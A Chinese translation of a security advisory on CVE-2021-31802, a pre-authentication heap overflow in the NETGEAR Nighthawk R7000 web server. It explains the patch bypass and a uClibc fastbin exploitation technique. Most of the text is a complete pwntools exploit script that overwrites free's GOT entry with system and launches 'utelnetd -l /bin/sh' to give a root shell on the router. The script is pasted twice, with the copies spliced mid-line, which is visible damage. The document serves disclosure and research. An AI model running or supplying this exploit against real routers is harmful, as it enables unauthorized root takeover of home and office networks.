NETGEAR Nighthawk R7000 httpd PreAuth RCE

译者注:直接英译中后语句太过拗口,在不改变原意的情况下做了些许调整

原文:NETGEAR Nighthawk R7000 httpd PreAuth RCE

简介

探究NETGEAR R7000中的漏洞,其允许攻击者无需认证而执行任意代码。

 

漏洞摘要

在受影响的netgear r7000路由器上,此漏洞可使得内网攻击者执行任意代码。

利用此漏洞无需获取认证。

此漏洞位于HTTP请求的处理过程中,对用户数据缺乏有效验证,故导致堆溢出。攻击者可利用此漏洞以root权限来执行代码。

 

CVE/Credit

CVE-2021-31802

独立安全研究者@colorlight2019向SSD报告了此漏洞。

 

影响版本

Netgear Nighthawk R7000,1.0.11.116版本及之前。

 

厂商响应

我们已通过Bugcrowd联系到厂商,但是,因为漏洞没有在最新固件版本即1.3.2.134上进行测试,故Bugcrowd认为其无关紧要(这是不正确的)。我们尝试再次联系他们,但之后的消息被忽略。

这是我们从Bugcrowd/厂商那里注意到的最不专业的行为,将此漏洞归类于无挂紧要,显然这是一个错误的分类。

 

漏洞分析

首先绕过 ZDI-20-709 的漏洞补丁,此补丁无法解决本漏洞的根本原因,即 httpd 程序允许用户通过/backup.cgi来上传文件。

漏洞的根本原因是程序使用两个变量来表示上传文件的大小,一个变量是http post请求头中的Content-length字段,另一个则是http post请求体中文件内容的长度。

漏洞存在于函数sub_16674中,如下图为堆溢出点。

img

反编译代码如下:

img

程序调用malloc获取内存,用于存储文件内容,返回值保存在dword_1DE2F8 ,大小为Content-Length 字段值+600,Content-Length字段值可被攻击者控制,若能够提供合适的值,则可使malloc 返回任意大小的堆块。

memcpy 函数将http请求内容即s1复制到dword_1DE2F8,指定长度为v80-v91,即http post请求体中文件内容的长度)

这便是问题所在,攻击者可用一个较小的值来控制堆缓冲区dword_1DE2F8的大小,也可用另一个较大的值来控制长度v80-v91,故可能导致堆溢出。

 

考虑因素

ZDI-20-709补丁是检查Content-Length之前的一个字节是否为\n,因此只需要在前添加\n便可绕过。虽然漏洞基本相同,但由于R6700和R7000两设备的堆状态不同,要想成功利用还需要付出许多努力。

可以对堆溢出漏洞进行fastbin dup攻击,但也不易做到。Fastbin dup攻击需要两个连续的 malloc 函数从同一个Fastbin列表中获取两个返回地址,第一个malloc返回fd指针被堆溢出覆盖的块,第二个malloc返回待写入数据的地址。

最大的问题是这两个malloc之间不可调用free,但在每次malloc前都会检查dword_1DE2F8。若 dword_1DE2F8 不为空则调用free并置为0,因此需要寻找另一处调用malloc的位置。

img

幸运的是,在函数sub_A5B68内有另一处malloc调用,并且其size参数可控。

该函数处理另一个文件上传的http请求,可用/genierestore.cgi来触发。

img

但还有一个问题, /genierestore.cgi/backup.cgi 两者都可能导致fopen 被调用。其内部会调用malloc(0x60)mallloc(0x1000),而malloc(0x1000)将导致调用_malloc_consolidate函数,该函数会破坏fastbin,因为其大小即0x1000大于max_fast值。

我们需要找到一种方法将max_fast更改为一个大值,这样就不会触发_malloc_consolidate

uClibc 中free函数的实现如下:

 if ((unsigned long)(size) <= (unsigned long)(av->max_fast)
#if TRIM_FASTBINS
 /* If TRIM_FASTBINS set, don't place chunks
 bordering top into fastbins */
 && (chunk_at_offset(p, size) != av->top)
#endif
 ) {
  set_fastchunks(av);
  fb = &(av->fastbins[fastbin_index(size)]); // <-------when size is set 8 bytes, the fastbin_index(size) is -1
  p->fd = *fb;
  *fb = p;
 }

当释放一个大小为0x8的块时, fastbin_index(size)返回 -1,因此av->fastbins[fastbin_index(size)]将导致越界访问。

struct malloc_state {
 /* The maximum chunk size to be eligible for fastbin */
 size_t max_fast; /* low 2 bits used as flags */
 // 0
 /* Fastbins */
 // 4
 mfastbinptr fastbins[NFASTBINS];
 ...
}

如上malloc_state结构体,fb = &(av->fastbins[-1])正好指向max_fast,因此*fb=p赋值操作将使max_fast变大。但在正常情况下区块大小不能为0x8,因为此时用户数据的大小为0。

因此,可首先利用堆溢出漏洞覆盖块的PREV_INUSE标志,从而错误地指示前一个块是空闲的,malloc后就可返回与已有块重叠的块。

如此,我们可编辑现有块元数据中的size字段,将其设置为无效值0x8,当此块被释放并挂在fastbin后,malloc_stats->max_fast 会被设置为一个大值,那么fopen调用后将不会导致 __malloc_consolidate,因此可进行fastbin dup攻击。

若能让 malloc 返回一个指定地址,便可将free GOT覆盖为system PLT,最后执行utelnetd -l /bin/sh命令,即可获取root shell。

使用如下技术来提高漏洞利用的可靠性:

  1. 为了使malloc块相邻,使得堆溢出不会破坏到其他堆缓冲区,可
    发送很长的payload来提前关闭tcp连接,以便 /backup.cgi请求后不再调用fopen,两个http请求之间也不会调用另外的malloc

    img

  2. 当用户登录/退出web管理界面时,httpd程序的堆状态可能不同,为了保持堆状态一致,可先使用错误密码登录3次,此时httpd程序将重定向到密码重置页面,如此可使得堆状态保持一致。

 

利用脚本

# coding: utf-8
from pwn import *
import copy
import sys

def post_request(path, headers, files):
    r = remote(rhost, rport)
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    r.send(request)
    sleep(0.5)
    r.close()

def gen_request(path, headers, files):
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Dasposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    return request

def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)

def send_payload(file_name_len,files):

    total_payload = 'a'*(609 + 1024 * 58)


    path = '/cgi-bin/genie.cgi?backup.cgi\nContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'Content-Disposition: form-data','a'*0x200 + ': anynomous']

    f = copy.deepcopy(files)
    f['filename'] = make_filename(file_name_len)
    valid_payload = gen_request(path, headers, f)
    vaild_len = len(valid_payload)
    total_len = 609 + 1024 * 58
    blind_payload_len = total_len - vaild_len
    blind_payload = 'a' * blind_payload_len
    total_payload = blind_payload + valid_payload

    t1 = 0
    t2 = 0
    for i in range(0,58):
        t1 = int(i * 1024)
        t2 = int((i+1)*1024 )
        chunk = total_payload[t1:t2]

    last_chunk = total_payload[t2:]
    # print(last_chunk)


    r = remote(rhost, rport)
    r.send(total_payload)
    sleep(0.5)
    r.close()

def execute():

    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': anynomous']

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)       

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x20,files)        


    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x18 + p32(0x3c0) + p32(0x28)
    send_payload(0x18,files)     


    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x3a0).ljust(0x10) + 'a'* 0x39c + p32(0x9)  
    post_request('/genierestore.cgi', headers, f)   

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)  


    f = copy.deepcopy(files)   
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x20).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   


    magic_size =  0x48

    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   


    free_got_addr = 0x00120920
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x24 + p32(magic_size+ 8 + 1) + p32(free_got_addr - magic_size)
    send_payload(0x20,files)   


    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(magic_size,files)   

    system_addr_plt = 0x0000E804
    command = 'utelnetd -l /bin/sh'
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + command.ljust(magic_size-8, '\x00') + p32(system_addr_plt)
    post_request('/genierestore.cgi', headers, f) 



def send_request():
    r = remote(rhost, rport)

    login_request='''\
GET / HTTP/1.1\r
Host: %s\r
Cache-Control: max-age=0\r
Authorization: Basic MToxMjM0NTY3ODEyMzEyMw==\r
Upgrade-Insecure-Requests: 1\r
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
Cookie: XSRF_TOKEN=1222440606\r
Connection: close\r
\r
'''% rhost

    r.send(login_request)
    a = r.recv(0x1000)
    # print a
    r.close()
    return a
if __name__ == '__main__':
    context.log_level = 'error'

    if (len(sys.argv) < 3):
        print( 'Usage: %s <rhost> <rport>' % sys.argv[0])
        exit()
    rhost = sys.argv[1]
    rport = sys.argv[2]

    while True:
        ret = send_request()
        firstline = ret.split('\n')[0]
        if firstline.find('200') != -1:
            break

    execute()# coding: utf-8
from pwn import *
import copy
import sys

def post_request(path, headers, files):
    r = remote(rhost, rport)
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    r.send(request)
    sleep(0.5)
    r.close()

def gen_request(path, headers, files):
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Dasposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    return request

def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)

def send_payload(file_name_len,files):

    total_payload = 'a'*(609 + 1024 * 58)


    path = '/cgi-bin/genie.cgi?backup.cgi\nContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'Content-Disposition: form-data','a'*0x200 + ': anynomous']

    f = copy.deepcopy(files)
    f['filename'] = make_filename(file_name_len)
    valid_payload = gen_request(path, headers, f)
    vaild_len = len(valid_payload)
    total_len = 609 + 1024 * 58
    blind_payload_len = total_len - vaild_len
    blind_payload = 'a' * blind_payload_len
    total_payload = blind_payload + valid_payload

    t1 = 0
    t2 = 0
    for i in range(0,58):
        t1 = int(i * 1024)
        t2 = int((i+1)*1024 )
        chunk = total_payload[t1:t2]

    last_chunk = total_payload[t2:]
    # print(last_chunk)


    r = remote(rhost, rport)
    r.send(total_payload)
    sleep(0.5)
    r.close()

def execute():

    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': anynomous']

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)       

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x20,files)        


    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x18 + p32(0x3c0) + p32(0x28)
    send_payload(0x18,files)     


    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x3a0).ljust(0x10) + 'a'* 0x39c + p32(0x9)  
    post_request('/genierestore.cgi', headers, f)   

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)  


    f = copy.deepcopy(files)   
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x20).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   


    magic_size =  0x48

    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   


    free_got_addr = 0x00120920
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x24 + p32(magic_size+ 8 + 1) + p32(free_got_addr - magic_size)
    send_payload(0x20,files)   


    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(magic_size,files)   

    system_addr_plt = 0x0000E804
    command = 'utelnetd -l /bin/sh'
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + command.ljust(magic_size-8, '\x00') + p32(system_addr_plt)
    post_request('/genierestore.cgi', headers, f) 



def send_request():
    r = remote(rhost, rport)

    login_request='''\
GET / HTTP/1.1\r
Host: %s\r
Cache-Control: max-age=0\r
Authorization: Basic MToxMjM0NTY3ODEyMzEyMw==\r
Upgrade-Insecure-Requests: 1\r
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
Cookie: XSRF_TOKEN=1222440606\r
Connection: close\r
\r
'''% rhost

    r.send(login_request)
    a = r.recv(0x1000)
    # print a
    r.close()
    return a
if __name__ == '__main__':
    context.log_level = 'error'

    if (len(sys.argv) < 3):
        print( 'Usage: %s <rhost> <rport>' % sys.argv[0])
        exit()
    rhost = sys.argv[1]
    rport = sys.argv[2]

    while True:
        ret = send_request()
        firstline = ret.split('\n')[0]
        if firstline.find('200') != -1:
            break

    execute()
    print('router is exploited!!!')

    print('router is exploited!!!')
(完)